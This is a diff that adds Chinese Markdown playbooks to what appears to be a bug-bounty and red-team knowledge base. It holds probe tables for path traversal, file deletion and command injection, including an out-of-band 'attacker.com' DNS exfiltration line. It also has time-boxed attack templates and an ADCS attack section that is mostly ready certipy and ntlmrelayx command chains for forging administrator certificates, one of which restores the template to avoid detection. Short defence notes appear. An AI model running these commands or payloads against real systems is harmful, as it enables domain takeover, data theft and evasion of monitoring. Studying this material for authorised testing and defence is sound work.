+ ### 3.8 文件读 / 下载 / 删除
118
+
119
+ | 探针 | 缺失则 |
120
+ |------|-------|
121
+ | `?file=../../etc/passwd` 各级 | 路径规范化缺失 |
122
+ | `?file=/etc/passwd`(绝对路径) | 前缀校验缺失 |
123
+ | `?file=file:///etc/passwd` | 协议过滤缺失 |
124
+ | 删除接口:`?path=../../web/index.html` | **任意文件删(易遗漏!)** |
125
+ | 大小写:`?file=../../ETC/PASSWD` | 黑名单 lower |
126
+
127
+ ### 3.9 命令执行(含 ping / nslookup / 工具类)
128
+
129
+ | 探针 | 缺失则 |
130
+ |------|-------|
131
+ | `127.0.0.1; id` / `\| id` / `&& id` / `` `id` `` / `$(id)` | 拼接符过滤缺失 |
132
+ | `127.0.0.1%0aid` | 换行绕过 |
133
+ | `127.0.0.1 -c1 -W1 ; sleep 5` | 时间盲(无回显) |
134
+ | `ping ${LDAP}.attacker.com` 看 DNSLog | 外带验证 |
135
+ | 命令字 cat / curl 被过滤时换 tac / wget | 关键字过滤 |
136
+
137
+ ### 3.10 认证操作
138
+
139
+ | 探针 | 缺失则 |
140
+ |------|-------|
141
+ | 短信验证码爆破(4–6 位数字、无频率限制) | 验证码爆破 |
142
+ | 验证码不刷新(同一码用多次) | 验证码可重用 |
143
+ | 验证码绑定关系:用 A 手机收到的码改 B 密码 | 验证码与用户解绑 |
144
+ | 重置流程跳步骤(直接 GET 第 3 步页面) | 流程跳跃 |
145
+ | 改请求体 `username=victim` | 凭证参数可控 |
146
+ | 撞库(公开数据库 + 无频率限制) | 撞库 |
147
+
148
+ 详见 `playbooks/logic-flaws.md` 4 大密码重置模式。
149
+
150
+ ### 3.11 越权(独立类,常被错过)
151
+
152
+ | 探针 | 缺失则 |
153
+ |------|-------|
154
+ | 水平:账号 A 改 B 资源(同级越权) | IDOR (P1) |
155
+ | 垂直:普通用户调用 admin API | 后端鉴权仅看 JWT 而不看 role (P0) |
156
+ | Header 越权:`X-User-Role: admin` 注入 | Header 信任 (P0) |
157
+ | Cookie 越权:改 Cookie 中 `role` / `userId` | 客户端可控会话 (P0) |
158
+ | Method 越权:DELETE 不行就试 OPTIONS / `X-HTTP-Method-Override` | 方法过滤不全 |
159
+
160
+ ---
161
+
162
+ ## 4. "新功能 5 分钟探针套餐"
163
+
164
+ 拿到一个新功能,先做这 5 步(约 5–10 分钟):
165
+
166
+ ```
167
+ 1. 抓 1 个完整请求(保留所有 Header / Cookie / Body)
168
+ → 看请求里有什么"看起来重要的字段"
169
+
170
+ 2. 删掉 Authorization / Cookie,重发
171
+ → 看是否还能用(未授权)
172
+
173
+ 3. 改 1 个 ID 字段(数字 +1 / 换 UUID / 换租户)
174
+ → 看是否能拿到他人数据(IDOR)
175
+
176
+ 4. 改 1 个看起来"客户端不该控制"的字段
177
+ (price / role / status / is_admin / amount / userId)
178
+ → 看是否生效(Mass Assignment / 篡改)
179
+
180
+ 5. 加一个 corner case 字段(重复参数 / null / 长字符串 / 数组)
181
+ → 看返回是否变化或报错(信息泄露 / 类型混淆)
182
+ ```
183
+
184
+ 5 步过完没有发现,再进对应 playbook 深挖。
185
+
186
+ ---
187
+
188
+ ## 5. 控制缺口报告写法
189
+
190
+ 报告里把这些用同一个表格格式呈现,平台审核很喜欢:
191
+
192
+ ```markdown
193
+ ## 控制缺口分析
194
+
195
+ | 应有控制 | 在该端点是否生效 | 证据 |
196
+ |---------|----------------|------|
197
+ | 鉴权 | ✓ 缺 Authorization 返回 401 | (包略) |
198
+ | 资源所有权 | ✗ 账号 A 可读 B 数据 | 见 PoC §1 |
199
+ | 输入完整性 | ✗ 接受 `is_admin=true` 字段 | 见 PoC §2 |
200
+ | 操作审计 | ? 无法从外部判断 | - |
201
+
202
+ 漏洞结论:缺失"资源所有权" + "Mass Assignment 防护",
203
+ 组合可导致普通用户提权为 admin。
204
+ ```
205
+
206
+ ---
207
+
208
+ ## 6. 易遗漏的盲区
209
+
210
+ > 来自 WooYun + 真实 SRC 报告分析的"高频盲区"
211
+
212
+ 1. **文件删除**——大家只测上传 / 下载,忘了 DELETE。任意文件删可瘫服务(删 `index.html`)。
213
+ 2. **批量参数**(`ids=1,2,3,...,10000`)——单个 IDOR 受限制时,批量接口往往没限制。
214
+ 3. **导出范围**(`startDate=2010-01-01`)——把分页放大 / 把日期放回十年前。
215
+ 4. **OPTIONS / HEAD**——很多鉴权拦截只针对 GET/POST。
216
+ 5. **二次接口 / 内部接口**——通过抓 mobile app / 微信小程序常发现"PC 没暴露的"接口。
217
+ 6. **WebSocket / SSE**——文档不写、流量不抓的话很容易漏掉。
218
+ 7. **GraphQL 深嵌套**——顶层加权限,子字段没加(详见 `playbooks/graphql.md`)。
219
+ 8. **登出 / 注销 redirect_uri**——OAuth 几乎所有人都忘记白名单 logout。
220
+ 9. **第三方回调** (short URL / sms / pay 回调)——回调 endpoint 经常无签名。
221
+
222
+ 每次审计花 5 分钟过一遍这 9 个盲区,能挖到不少 P1。
223
+
224
+ ---
225
+
226
+ ## 7. 与 playbook 的衔接
227
+
228
+ 发现某类型缺失控制 → 进入对应 playbook 深挖:
229
+
230
+ | 缺失控制 | 对应 playbook |
231
+ |---------|--------------|
232
+ | 鉴权 / 资源所有权 | `playbooks/unauth-access.md`、`playbooks/logic-flaws.md` (越权) |
233
+ | URL 白名单 / 协议过滤 | `playbooks/ssrf-cache-host.md` |
234
+ | 文件类型 / 路径 | `playbooks/file-upload.md`、`playbooks/path-traversal.md` |
235
+ | 命令白名单 / 拼接 | `playbooks/rce.md` |
236
+ | 验证码 / 凭证绑定 | `playbooks/logic-flaws.md` |
237
+ | 输入验证(SQL / XSS) | `playbooks/sqli.md`、`playbooks/xss.md` |
238
+ | 金额 / 幂等 / 并发 | `playbooks/logic-flaws.md`、`playbooks/race-conditions.md` |
@@ -0,0 +1,161 @@
1
+ # SRC 时间盒优先级——基于 22,132 案例统计的高危占比排序
2
+
3
+ > 视角:黑盒 SRC 猎手在限定时间内(一次众测、一次 SRC 集中刷分、一次 HVV 演练)应该按什么顺序投入时间。
4
+ > 配套读物:`01-attack-priority.md`(讲漏洞类型本身值多少钱)+ 本篇(讲在一类漏洞中"挖到 == 高危"的概率)。
5
+
6
+ ---
7
+
8
+ ## 1. 一句话原则
9
+
10
+ `01-attack-priority.md` 给的是 **"如果挖到值多少"**;
11
+ 本篇给的是 **"挖一个 == 高危的概率有多大"**。
12
+ 两者结合 → 时间投入回报率最高的先打。
13
+
14
+ ```
15
+ 时间盒回报 = 漏洞基线赏金(01 表) × 挖到即高危概率(本表) / 平均探测代价
16
+ ```
17
+
18
+ ---
19
+
20
+ ## 2. 16 类漏洞的高危占比排名
21
+
22
+ > 22,132 个真实样本,"高危"=平台/委员会评定为 high 或 critical。
23
+
24
+ | 排名 | 漏洞类别 | 案例数 | 高危占比 | 领域 | 黑盒探测难度 |
25
+ |------|---------|-------|---------|------|------------|
26
+ | 1 | **密码重置** | 777 | **88.0%** | 认证 | 中(需走完流程并比对响应) |
27
+ | 2 | **任意账号 / 任意登录** | 220 | **86.4%** | 授权 | 低(看登录接口是否要求 password) |
28
+ | 3 | **提现** | 59 | **83.1%** | 金融 | 高(需测试账号 + 风控边缘) |
29
+ | 4 | **金额篡改** | 176 | **83.0%** | 金融 | 低(改 `amount=0.01` 即知) |
30
+ | 5 | **余额篡改** | 113 | **77.9%** | 金融 | 中(需理解账本/积分模型) |
31
+ | 6 | **任意用户注册** | 24 | **75.0%** | 授权 | 低(绕过邀请码 / 改邮箱后缀) |
32
+ | 7 | **逻辑漏洞(综合)** | 266 | **74.8%** | 逻辑 | 中(流程 + 状态机) |
33
+ | 8 | **订单篡改** | 1,227 | **74.2%** | 金融 | 中(改 status / 跳步骤) |
34
+ | 9 | **价格篡改** | 70 | **74.3%** | 金融 | 低(改 `price`) |
35
+ | 10 | **配置不当** | 1,796 | **72.6%** | 配置 | 低(端口扫 + 默认凭据) |
36
+ | 11 | **任意操作** | 40 | **72.5%** | 授权 | 中(需认识"批准/审核"接口) |
37
+ | 12 | **支付绕过** | 1,056 | **68.7%** | 金融 | 中(重放回调 / 跳过支付) |
38
+ | 13 | **设计缺陷** | 1,391 | **65.3%** | 逻辑 | 高(需理解业务) |
39
+ | 14 | **信息泄露** | 4,858 | **64.7%** | 信息 | 低(路径字典 + Wayback) |
40
+ | 15 | **越权(IDOR / 横纵向)** | 1,705 | **62.3%** | 授权 | 低(双账号比对) |
41
+ | 16 | **弱口令** | 7,513 | **58.2%** | 认证 | 低(爆破,注意限速) |
42
+
43
+ > 三个最值得注意的反直觉数据:
44
+ > 1. **密码重置 88%**——很多人只测"短信码爆破",忽略了响应回显、绑定缺失、流程跳跃 4 模式。
45
+ > 2. **配置不当 72.6%**——端口扫描 + 默认凭据是最低成本的"必中型"工作量。
46
+ > 3. **任意账号 86.4%**——比泛 IDOR(62.3%)高 24 个百分点,专门盯"登录无密码、token 可伪造"的接口。
47
+
48
+ ---
49
+
50
+ ## 3. SRC 时间盒打法(4 个模板)
51
+
52
+ ### 模板 A:6 小时快进——找一个能交的高危
53
+
54
+ ```
55
+ 0:00–0:30 扫端口 + 扫 admin 路径 + 跑默认凭据 (命中 → 配置 72.6% / 弱口令 58.2%)
56
+ 0:30–1:30 抓主要业务流(注册/登录/找回/下单/退) → 同时记录所有参数
57
+ 1:30–2:30 密码重置 4 模式逐一过一遍 (88% 高危)
58
+ 2:30–4:00 双账号 IDOR 横纵向 (62.3% 高危,但容易批量出活)
59
+ 4:00–5:00 支付/订单:改 amount/price/quantity (74–83% 高危)
60
+ 5:00–6:00 整理证据 + 写报告 + 脱敏
61
+ ```
62
+
63
+ ### 模板 B:单日深度——一个目标打透
64
+
65
+ ```
66
+ 1. 先按"模板 A"过一轮地表层
67
+ 2. 没出货 → 进 SP/CP/合作方子域、冷门子产品(活动页、营销页、积分商城)
68
+ 3. 翻 GitHub 找该公司的代码泄露(高频参数已知,搜 `siteId`、`out_trade_no` 等)
69
+ 4. 翻 Wayback Machine 找下线接口(很多老接口仍在线)
70
+ 5. APP 抓包:和 Web 比对差异接口(APP 接口往往鉴权更弱)
71
+ 6. 第三方 SDK:客服 IM / 支付 SDK / 推送 SDK,看是否存在硬编码 secret
72
+ ```
73
+
74
+ ### 模板 C:HVV 演练——拿权限优先
75
+
76
+ ```
77
+ P0 焦点(前 30%):
78
+ - 扫所有 IP 的 6379/27017/2375/9200/2181 → 命中即拿数据/RCE
79
+ - 扫 7001/8080/8088 + WebLogic / JBoss / Tomcat 默认凭据
80
+ - 扫 Spring Actuator /heapdump、/env
81
+
82
+ P1 焦点(30–60%):
83
+ - .git / .svn / wwwroot.rar / *.bak(详见 dictionaries/)
84
+ - Shiro rememberMe 默认 key、Fastjson 1.2.x、Log4Shell
85
+
86
+ P2 焦点(60–100%):
87
+ - 业务漏洞(密码重置 / 越权 / 任意账号)
88
+ - GitHub 代码搜
89
+ ```
90
+
91
+ ### 模板 D:SRC 月度刷分——薅长尾
92
+
93
+ ```
94
+ 高危占比靠后但案例数大的两个矿:
95
+ - 信息泄露(64.7% × 4,858 案例 = 海量)
96
+ - 弱口令(58.2% × 7,513 案例 = 海量)
97
+
98
+ 策略:
99
+ 1. 维护私有路径字典 + 弱口令字典(详见 dictionaries/)
100
+ 2. 自动化扫一批新上的子域 / 新业务线
101
+ 3. 每天花 30 分钟看 SRC 公告/更新,第一时间扫新增资产
102
+ ```
103
+
104
+ ---
105
+
106
+ ## 4. 与 `01-attack-priority.md` 的合用矩阵
107
+
108
+ 行:基线赏金等级(01 表)。列:高危占比段。
109
+ 单元格:实际投入排序。
110
+
111
+ | 基线 \ 高危占比 | 88% 段(密码重置/任意账号) | 72–83% 段(支付/订单/配置/任意操作) | 58–65% 段(IDOR/弱口令/信息泄露) |
112
+ |---|---|---|---|
113
+ | **P0(RCE / 任意写)** | — | **🔴 最优先**(配置不当含 RCE、Actuator 泄密钥) | 🟠 信息泄露含数据库密码时升 P0 |
114
+ | **P0/P1(鉴权绕过 / 越权 admin)** | 🔴 任意账号 = 立刻报 | 🟠 任意操作 / 任意修改 | 🟡 普通 IDOR |
115
+ | **P1(IDOR / 逻辑 / SQLi)** | 🟠 密码重置 → 接管单用户 = P1 | 🟡 价格 0.01 / 订单状态跳 | 🟡 横向 IDOR 单条数据 |
116
+ | **P2(XSS / CSRF / 重定向)** | — | — | 🟢 拼链子(XSS + IDOR) |
117
+
118
+ 🔴 立即报 / 🟠 高优先 / 🟡 中等 / 🟢 凑数 / — 不存在该组合
119
+
120
+ ---
121
+
122
+ ## 5. 探针决策树(按时间盒预算)
123
+
124
+ ```
125
+ 拿到目标 → 还有多少时间?
126
+
127
+ ≤ 1h → 只跑:默认凭据 + Actuator + .git + 弱口令 + 单一 IDOR
128
+ ≤ 6h → 加:密码重置 4 模式 + 价格篡改 + 双账号 IDOR
129
+ ≤ 1d → 加:订单状态机 + 验证码爆破 + 任意操作(批准/发布)
130
+ ≤ 1w → 加:APP 逆向 + 子产品线 + 第三方 SDK + 业务深挖
131
+ ```
132
+
133
+ 每过完一段时间盒,必须做:
134
+ 1. 确认已发现项是否能证据闭环 → 不能闭环就别留到后期
135
+ 2. 评估是否还有"短链高占比"组合可挖
136
+ 3. 不要陷入"我再花一天就能链 RCE"的执念——按时间盒收手
137
+
138
+ ---
139
+
140
+ ## 6. 反直觉提醒
141
+
142
+ > **三件最容易被忽视但高危占比最高的事:**
143
+
144
+ 1. **拦响应包看验证码**——很多人只关心拦请求,但 88% 高危占比的密码重置漏洞中,最常见就是响应里直接给了 `verifyCode`。
145
+ 2. **登录接口看是否真的需要密码**——任意账号 86.4% 高危。看请求体:是否只发 `username` 就能换 token?是否 `password` 字段可空?
146
+ 3. **批准 / 审核 / 发布接口**——任意操作 72.5% 高危。这些往往是"管理员路径"但鉴权写在前端。
147
+
148
+ ---
149
+
150
+ ## 7. 与 playbook 的对应
151
+
152
+ | 排名段 | 主要 playbook |
153
+ |--------|--------------|
154
+ | 1(密码重置) | `playbooks/logic-flaws.md` §3.1 + `oauth-saml-jwt.md` |
155
+ | 2/6/11(任意 X) | `playbooks/arbitrary-x-authz.md` |
156
+ | 3/4/5/8/9/12(金融类) | `playbooks/logic-flaws.md` §3.4 + `industry/banking-finance.md` |
157
+ | 7/13(逻辑/设计) | `playbooks/logic-flaws.md` |
158
+ | 10(配置) | `playbooks/unauth-access.md` + `dictionaries/default-credentials-cn.md` |
159
+ | 14(信息泄露) | `playbooks/info-disclosure.md` + `dictionaries/chinese-srcfingerprints.md` |
160
+ | 15(IDOR) | `playbooks/logic-flaws.md` §3.2 + `playbooks/api-rest.md` |
161
+ | 16(弱口令) | `playbooks/unauth-access.md` + `dictionaries/default-credentials-cn.md` |
@@ -0,0 +1,254 @@
1
+ # ADCS攻击
2
+
3
+ _5 条 intranet payload_
4
+
5
+ ### ADCS ESC2攻击 `adcs-esc2`
6
+ _利用ESC2模板配置错误_
7
+ 子类:**ESC2** · tags: `adcs` `esc2` `certificate`
8
+
9
+ **前置条件:**
10
+ - 域环境
11
+ - ADCS服务
12
+ - 存在ESC2模板
13
+
14
+ **攻击链:**
15
+
16
+ **探测ESC2模板**
17
+ > 探测ESC2模板
18
+ _platform: linux_
19
+ ```
20
+ certipy find -u user@domain.com -p password -dc-ip DC_IP
21
+ 查找Any Purpose或CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT模板
22
+ ```
23
+
24
+ **请求证书**
25
+ > 请求管理员证书
26
+ _platform: linux_
27
+ ```
28
+ certipy req -u user@domain.com -p password -ca CA_NAME -target DC_IP -template VULNERABLE_TEMPLATE -upn administrator@domain.com
29
+ ```
30
+ **语法解析:**
31
+ - `-template` — 指定易受攻击模板 _parameter_
32
+ - `-upn` — 指定目标用户UPN _parameter_
33
+
34
+ **使用证书认证**
35
+ > 使用证书认证
36
+ _platform: linux_
37
+ ```
38
+ certipy auth -pfx administrator.pfx -dc-ip DC_IP
39
+ 获取管理员TGT
40
+ ```
41
+
42
+
43
+ **概述:** ESC2允许请求任意用途的证书,可用于伪造任意用户身份。
44
+
45
+ **漏洞原理:** 证书模板配置允许Any Purpose扩展。
46
+
47
+ **利用方法:** 利用流程:1) 发现ESC2模板 2) 请求管理员证书 3) 使用证书认证
48
+
49
+ **防御措施:** 防御措施:1) 审计证书模板 2) 禁用Any Purpose 3) 监控证书请求
50
+
51
+ ---
52
+
53
+ ### ADCS ESC3攻击 `adcs-esc3`
54
+ _利用ESC3注册代理配置错误_
55
+ 子类:**ESC3** · tags: `adcs` `esc3` `certificate`
56
+
57
+ **前置条件:**
58
+ - 域环境
59
+ - ADCS服务
60
+ - 存在ESC3配置
61
+
62
+ **攻击链:**
63
+
64
+ **探测ESC3**
65
+ > 探测ESC3配置
66
+ _platform: linux_
67
+ ```
68
+ certipy find -u user@domain.com -p password -dc-ip DC_IP
69
+ 查找具有Enrollment Agent权限的模板
70
+ ```
71
+
72
+ **获取注册代理证书**
73
+ > 获取注册代理证书
74
+ _platform: linux_
75
+ ```
76
+ certipy req -u user@domain.com -p password -ca CA_NAME -template EnrollmentAgent
77
+ 获取注册代理证书
78
+ ```
79
+
80
+ **代表其他用户请求证书**
81
+ > 代表管理员请求证书
82
+ _platform: linux_
83
+ ```
84
+ certipy req -u user@domain.com -p password -ca CA_NAME -template User -on-behalf-of DOMAIN\\Administrator -pfx agent.pfx
85
+ ```
86
+ **语法解析:**
87
+ - `-on-behalf-of` — 代表其他用户请求 _parameter_
88
+ - `-pfx agent.pfx` — 使用代理证书 _parameter_
89
+
90
+
91
+ **概述:** ESC3允许注册代理代表其他用户请求证书。
92
+
93
+ **漏洞原理:** 证书模板允许注册代理功能。
94
+
95
+ **利用方法:** 利用流程:1) 获取代理证书 2) 代表管理员请求证书 3) 使用证书认证
96
+
97
+ **防御措施:** 防御措施:1) 限制注册代理权限 2) 审计代理证书 3) 监控异常请求
98
+
99
+ ---
100
+
101
+ ### ADCS ESC4攻击 `adcs-esc4`
102
+ _利用ESC4模板权限配置错误_
103
+ 子类:**ESC4** · tags: `adcs` `esc4` `certificate`
104
+
105
+ **前置条件:**
106
+ - 域环境
107
+ - ADCS服务
108
+ - 对模板有写权限
109
+
110
+ **攻击链:**
111
+
112
+ **探测ESC4**
113
+ > 探测模板权限
114
+ _platform: linux_
115
+ ```
116
+ certipy find -u user@domain.com -p password -dc-ip DC_IP
117
+ 查找用户有写权限的模板
118
+ ```
119
+
120
+ **修改模板配置**
121
+ > 修改模板配置
122
+ _platform: linux_
123
+ ```
124
+ certipy template -u user@domain.com -p password -template VULNERABLE_TEMPLATE -save-old
125
+ 修改模板为ESC1配置
126
+ ```
127
+
128
+ **请求证书**
129
+ > 请求管理员证书
130
+ _platform: linux_
131
+ ```
132
+ certipy req -u user@domain.com -p password -ca CA_NAME -template VULNERABLE_TEMPLATE -upn administrator@domain.com
133
+ ```
134
+ **语法解析:**
135
+ - `-save-old` — 保存原配置以便恢复 _parameter_
136
+ - `修改模板` — 启用SAN扩展 _keyword_
137
+
138
+ **恢复模板配置**
139
+ > 恢复模板配置
140
+ _platform: linux_
141
+ ```
142
+ certipy template -u user@domain.com -p password -template VULNERABLE_TEMPLATE -configuration old_config.json
143
+ 恢复原配置避免检测
144
+ ```
145
+
146
+
147
+ **概述:** ESC4允许修改证书模板配置来提权。
148
+
149
+ **漏洞原理:** 用户对证书模板有写权限。
150
+
151
+ **利用方法:** 利用流程:1) 发现可写模板 2) 修改配置 3) 请求证书 4) 恢复配置
152
+
153
+ **防御措施:** 防御措施:1) 审计模板权限 2) 限制写权限 3) 监控模板修改
154
+
155
+ ---
156
+
157
+ ### ADCS ESC6攻击 `adcs-esc6`
158
+ _利用ESC6编辑标志配置错误_
159
+ 子类:**ESC6** · tags: `adcs` `esc6` `certificate`
160
+
161
+ **前置条件:**
162
+ - 域环境
163
+ - ADCS服务
164
+ - CA启用EDITF_ATTRIBUTESUBJECTALTNAME2
165
+
166
+ **攻击链:**
167
+
168
+ **探测ESC6**
169
+ > 探测CA配置
170
+ _platform: linux_
171
+ ```
172
+ certipy find -u user@domain.com -p password -dc-ip DC_IP
173
+ 查找EDITF_ATTRIBUTESUBJECTALTNAME2标志
174
+ ```
175
+
176
+ **请求证书**
177
+ > 请求管理员证书
178
+ _platform: linux_
179
+ ```
180
+ certipy req -u user@domain.com -p password -ca CA_NAME -template User -alt administrator@domain.com
181
+ 使用-alt参数指定SAN
182
+ ```
183
+ **语法解析:**
184
+ - `-alt` — 指定Subject Alternative Name _parameter_
185
+ - `EDITF_ATTRIBUTESUBJECTALTNAME2` — CA允许在请求中指定SAN _keyword_
186
+
187
+ **使用证书认证**
188
+ > 认证获取TGT
189
+ _platform: linux_
190
+ ```
191
+ certipy auth -pfx administrator.pfx -dc-ip DC_IP
192
+ ```
193
+
194
+
195
+ **概述:** ESC6允许在证书请求中指定任意SAN。
196
+
197
+ **漏洞原理:** CA配置了EDITF_ATTRIBUTESUBJECTALTNAME2标志。
198
+
199
+ **利用方法:** 利用流程:1) 探测CA配置 2) 请求带管理员SAN的证书 3) 认证
200
+
201
+ **防御措施:** 防御措施:1) 移除EDITF_ATTRIBUTESUBJECTALTNAME2标志 2) 监控证书请求 3) 审计CA配置
202
+
203
+ ---
204
+
205
+ ### ADCS ESC8攻击 `adcs-esc8`
206
+ _利用ESC8 HTTP端点进行NTLM中继_
207
+ 子类:**ESC8** · tags: `adcs` `esc8` `ntlm-relay`
208
+
209
+ **前置条件:**
210
+ - 域环境
211
+ - ADCS HTTP端点
212
+ - 可触发NTLM认证
213
+
214
+ **攻击链:**
215
+
216
+ **探测ESC8**
217
+ > 探测HTTP端点
218
+ _platform: linux_
219
+ ```
220
+ certipy find -u user@domain.com -p password -dc-ip DC_IP
221
+ 查找HTTP证书端点
222
+ ```
223
+
224
+ **设置NTLM中继**
225
+ > 设置NTLM中继
226
+ _platform: linux_
227
+ ```
228
+ impacket-ntlmrelayx -t http://CA_SERVER/certsrv/certfnsh.asp -smb2support --adcs
229
+ 监听NTLM认证并中继到ADCS
230
+ ```
231
+ **语法解析:**
232
+ - `-t http://CA_SERVER` — 目标ADCS HTTP端点 _parameter_
233
+ - `--adcs` — 启用ADCS模板 _parameter_
234
+
235
+ **触发认证**
236
+ > 触发目标NTLM认证
237
+ ```
238
+ 使用多种方式触发:
239
+ - 发送邮件链接
240
+ - 打印机漏洞
241
+ - WebDAV
242
+ - 其他NTLM触发方式
243
+ ```
244
+
245
+
246
+ **概述:** ESC8利用ADCS HTTP端点进行NTLM中继攻击。
247
+
248
+ **漏洞原理:** ADCS HTTP端点支持NTLM认证且未启用签名。
249
+
250
+ **利用方法:** 利用流程:1) 设置中继服务器 2) 触发目标认证 3) 获取证书
251
+
252
+ **防御措施:** 防御措施:1) 启用通道绑定 2) 禁用HTTP端点 3) 启用Extended Protection
253
+
254
+ ---